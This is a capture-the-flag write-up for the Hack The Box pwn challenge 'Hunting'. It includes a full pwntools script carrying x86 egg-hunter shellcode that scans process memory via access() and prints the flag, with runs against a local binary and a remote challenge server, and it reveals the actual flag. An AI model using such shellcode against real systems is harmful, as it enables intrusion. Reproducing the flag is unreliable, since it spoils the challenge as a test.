Hunting
4 minutes to read
We are given a 32-bit binary called hunting
:
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
The challenge says that the objective is to read the flag, not to get a shell. Moreover, the name of the challenge (“Hunting”) recalls to a technique known as Egg Hunter. This one is used to find some payload in memory when having code execution, and the way to ensure that the payload is found is using an egg (4 bytes).
Exploration
If we execute the binary, we have only a prompt to enter data, and then exit:
$ ./hunting
asdf
zsh: segmentation fault (core dumped) ./hunting
Reversing the binary is not really helpful. The only thing we must consider is that the flag is placed somewhere in memory at runtime, and we are allowed to enter shellcode that will be executed.
We can try to find the string using GDB:
$ gdb -q hunting
Reading symbols from hunting...
(No debugging symbols found in hunting)
gef➤ run
Starting program: ./hunting
^C
Program received signal SIGINT, Interrupt.
0xf7fcf549 in __kernel_vsyscall ()
gef➤ grep HTB{
[+] Searching 'HTB{' in memory
[+] In '/dev/zero (deleted)'(0x660c0000-0x660c1000), permission=rw-
0x660c0000 - 0x660c0024 → "HTB{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"
And the address of the flag will be different on every execution of the program. We can enumerate a list of functions used by the binary:
$ readelf -s hunting
Symbol table '.dynsym' contains 20 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0 (2)
2: 00000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterTMCloneTab
3: 00000000 0 FUNC GLOBAL DEFAULT UND signal@GLIBC_2.0 (2)
4: 00000000 0 FUNC GLOBAL DEFAULT UND alarm@GLIBC_2.0 (2)
5: 00000000 0 FUNC WEAK DEFAULT UND __cxa_finalize@GLIBC_2.1.3 (3)
6: 00000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.0 (2)
7: 00000000 0 FUNC GLOBAL DEFAULT UND strcpy@GLIBC_2.0 (2)
8: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
9: 00000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.0 (2)
10: 00000000 0 FUNC GLOBAL DEFAULT UND open@GLIBC_2.0 (2)
11: 00000000 0 FUNC GLOBAL DEFAULT UND srand@GLIBC_2.0 (2)
12: 00000000 0 FUNC GLOBAL DEFAULT UND mmap@GLIBC_2.0 (2)
13: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2)
14: 00000000 0 FUNC GLOBAL DEFAULT UND memset@GLIBC_2.0 (2)
15: 00000000 0 FUNC GLOBAL DEFAULT UND prctl@GLIBC_2.0 (2)
16: 00000000 0 FUNC GLOBAL DEFAULT UND rand@GLIBC_2.0 (2)
17: 00000000 0 NOTYPE WEAK DEFAULT UND _ITM_registerTMCloneTable
18: 00000000 0 FUNC GLOBAL DEFAULT UND close@GLIBC_2.0 (2)
19: 00002004 4 OBJECT GLOBAL DEFAULT 18 _IO_stdin_used
srand
and rand
might be used to determine a random address to place the flag, and then mmap
is used to set the shellcode space and permissions to be executed.
Egg Hunter
Here we can find a nice explanation of the Egg Hunter technique for Linux x86 systems: infosecwriteups.com. In the end, I adapted the Egg Hunter assembly and added a sys_write
at the end to print out the flag:
def main():
egg = b'HTB{'
egghunter = asm(f'''
_start:
mov ebx, {u32(egg)} # Egg
mov edx, 0x5fffffff # Start searching from address 0x5fffffff
xor ecx, ecx
mul ecx
page_alignment:
or dx, 0xfff
address_inspection:
inc edx
pushad # push all registers
lea ebx, [edx+4]
mov al, 0x21
int 0x80 # Call access()
cmp al, 0xf2 # If all contains 0xf2 (EFAULT) => Current memory page is not accessible
popad # pop all registers
je page_alignment
check_egg:
cmp [edx], ebx # Compare [edx] with Egg
jne address_inspection
display_the_flag:
push 4
pop eax # $eax = 4 => write()
push 1
pop ebx # $ebx = 1 => stdout
mov ecx, edx # $ecx => Pointer to the flag
push 60
pop edx # $edx = 60 => Flag length
int 0x80 # Call write()
jmp _start
''')
p = get_process()
p.sendline(egghunter)
log.success(p.recv().strip(b'\0').decode())
p.close()
Flag
It works locally:
$ python3 solve.py
[*] './hunting'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[+] Starting local process './hunting': pid 1067847
[+] HTB{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}
[*] Stopped process './hunting' (pid 1067847)
And also remotely:
$ python3 solve.py 159.65.83.93:31172
[*] './hunting'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[+] Opening connection to 159.65.83.93 on port 31172: Done
[+] HTB{H0w_0n_34rth_d1d_y0u_f1nd_m3?!?}
[*] Closed connection to 159.65.83.93 port 31172